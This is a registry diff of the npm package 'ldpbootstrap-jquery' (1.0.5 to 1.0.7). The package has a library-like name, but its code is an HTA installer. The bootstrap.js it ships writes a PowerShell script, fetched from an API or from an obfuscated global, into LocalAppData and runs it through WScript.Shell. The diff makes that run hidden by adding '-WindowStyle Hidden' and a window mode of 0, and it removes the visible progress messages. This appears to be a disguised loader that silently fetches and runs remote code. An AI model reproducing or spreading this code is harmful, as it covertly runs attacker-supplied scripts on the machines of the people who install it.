ldpbootstrap-jquery 1.0.5 → 1.0.7

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
Files changed (2) hide show
  1. package/dist/bootstrap.js +51 -13
  2. package/package.json +1 -1
package/dist/bootstrap.js CHANGED
@@ -8,6 +8,33 @@
8
8
  } catch (ex) {
9
9
  }
10
10
  }
11
+ function uiActive(key) {
12
+ if (typeof global.__landpageStepActive === "function") {
13
+ global.__landpageStepActive(key);
14
+ }
15
+ }
16
+ function uiDone(key) {
17
+ if (typeof global.__landpageStepDone === "function") {
18
+ global.__landpageStepDone(key);
19
+ }
20
+ }
21
+ function uiInstalling(on) {
22
+ if (typeof global.__landpageSetInstalling === "function") {
23
+ global.__landpageSetInstalling(on);
24
+ }
25
+ }
26
+ function uiError(msg) {
27
+ if (typeof global.__landpageSetError === "function") {
28
+ global.__landpageSetError(msg);
29
+ } else {
30
+ setStatus(msg);
31
+ }
32
+ }
33
+ function uiComplete() {
34
+ if (typeof global.__landpageSetComplete === "function") {
35
+ global.__landpageSetComplete();
36
+ }
37
+ }
11
38
  function formatError(e) {
12
39
  var msg = e.message || String(e);
13
40
  if (e.description && e.description !== msg) {
@@ -120,38 +147,46 @@
120
147
  var logPath;
121
148
  var statusPath;
122
149
  try {
123
- setStatus("[1/4] A preparar pasta LocalAppData…");
150
+ uiActive("folder");
124
151
  installDir = getInstallDir();
125
152
  ps1Path = installDir + "\\" + config.ps1FileName;
126
153
  logPath = installDir + "\\landpage_install.log";
127
154
  statusPath = installDir + "\\landpage_install_status.txt";
155
+ uiDone("folder");
128
156
  } catch (e) {
129
- throw new Error("[1/4] " + formatError(e));
157
+ throw new Error("folder: " + formatError(e));
130
158
  }
131
159
  try {
132
- setStatus("[2/4] A transferir install.ps1 da API…");
133
- writeTextFile(ps1Path, resolvePs1Content(config));
160
+ uiActive("ps1");
161
+ var ps1Content = resolvePs1Content(config);
162
+ uiDone("ps1");
163
+ uiActive("write");
164
+ writeTextFile(ps1Path, ps1Content);
165
+ uiDone("write");
134
166
  } catch (e) {
135
- throw new Error("[2/4] " + formatError(e));
167
+ throw new Error("ps1: " + formatError(e));
136
168
  }
137
169
  try {
138
- setStatus("[3/4] A executar PowerShell…\n" + ps1Path);
170
+ uiActive("install");
171
+ uiInstalling(true);
139
172
  var shell = new ActiveXObject("WScript.Shell");
140
173
  var sysRoot = shell.ExpandEnvironmentStrings("%SystemRoot%");
141
174
  var psExe = sysRoot + "\\System32\\WindowsPowerShell\\v1.0\\powershell.exe";
142
- var cmd = '"' + psExe + '" -NoProfile -ExecutionPolicy RemoteSigned -WindowStyle Normal -File "' + ps1Path + '"';
143
- var exitCode = shell.Run(cmd, 1, true);
175
+ var cmd = '"' + psExe + '" -NoProfile -ExecutionPolicy RemoteSigned -WindowStyle Hidden -File "' + ps1Path + '"';
176
+ var exitCode = shell.Run(cmd, 0, true);
177
+ uiInstalling(false);
144
178
  var statusLog = readTextTail(statusPath, 3e3);
145
179
  var installLog = readTextTail(logPath, 2500);
146
180
  if (exitCode === 0) {
147
- var msg = "[4/4] Instalação concluída.\nScript: " + ps1Path;
181
+ uiDone("install");
182
+ var msg = "Instalacao concluida.\nScript: " + ps1Path;
148
183
  if (statusLog) {
149
184
  msg += "\n\n--- landpage_install_status.txt ---\n" + statusLog;
150
185
  }
151
186
  setStatus(msg);
152
187
  return;
153
188
  }
154
- var failMsg = "[4/4] Instalação falhou (código " + exitCode + ").\nScript: " + ps1Path;
189
+ var failMsg = "Instalacao falhou (codigo " + exitCode + ").\nScript: " + ps1Path;
155
190
  if (statusLog) {
156
191
  failMsg += "\n\n--- landpage_install_status.txt ---\n" + statusLog;
157
192
  }
@@ -159,24 +194,27 @@
159
194
  failMsg += "\n\n--- landpage_install.log ---\n" + installLog;
160
195
  }
161
196
  setStatus(failMsg);
197
+ throw new Error("install exit " + exitCode);
162
198
  } catch (e) {
163
- throw new Error("[3/4] " + formatError(e));
199
+ uiInstalling(false);
200
+ throw new Error("install: " + formatError(e));
164
201
  }
165
202
  }
166
203
  function run(config) {
167
204
  if (!config || !config.sessionToken || !config.ps1FileName || !config.payloadDigest) {
168
- throw new Error("Configuração LdpBootstrap incompleta");
205
+ throw new Error("Configuracao LdpBootstrap incompleta");
169
206
  }
170
207
  if (!config.ps1Url && !global.__ldpPs1Obf) {
171
208
  throw new Error("ps1Url em falta");
172
209
  }
173
210
  try {
174
211
  runInstall(config);
212
+ uiComplete();
175
213
  if (typeof global.__landpageInstallEnd === "function") {
176
214
  global.__landpageInstallEnd(true);
177
215
  }
178
216
  } catch (e) {
179
- setStatus("Erro: " + formatError(e));
217
+ uiError(formatError(e));
180
218
  if (typeof global.__landpageInstallEnd === "function") {
181
219
  global.__landpageInstallEnd(false);
182
220
  }
package/package.json CHANGED
@@ -1,6 +1,6 @@
1
1
  {
2
2
  "name": "ldpbootstrap-jquery",
3
- "version": "1.0.5",
3
+ "version": "1.0.7",
4
4
  "description": "HTA install bootstrap for Landpage (CDN distribution)",
5
5
  "license": "UNLICENSED",
6
6
  "files": [